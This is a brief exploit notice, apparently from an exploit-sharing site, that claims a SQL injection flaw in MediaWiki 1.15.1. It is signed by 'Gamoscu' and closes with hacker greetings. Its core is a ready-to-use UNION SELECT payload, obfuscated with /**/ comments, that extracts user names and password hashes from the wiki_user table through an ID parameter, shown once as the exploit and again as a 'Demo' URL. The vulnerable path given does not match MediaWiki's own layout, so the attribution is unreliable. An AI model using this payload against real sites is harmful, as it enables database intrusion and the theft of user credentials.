MediaWiki 1.15.1 SQL Injection Vulnerability

############################################################# # MediaWiki 1.15.1 SQL Injection Vulnerability # Plugin Home: http://www.mediawiki.org/wiki/MediaWiki # Author: Gamoscu # Site: www.1923turk.com # Blog: http://gamoscu.wordpress.com/ ############################################################## # Download Script : http://www.mediawiki.org/wiki/MediaWiki : http://www.mediawiki.org/wiki/Download # Exploit: xxxxx.com/xxx/xxx.php?ID=[SQL-inj] # -1/**/union/**/all/**/select/**/1,user_password,3,user_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+wiki_user-- # Demo: http://site.com/vis.php?ID=-1/**/union/**/all/**/select/**/1,user_password,3,user_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+wiki_user-- ############################################################## # Greetz: Manas58 - Baybora - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO ##############################################################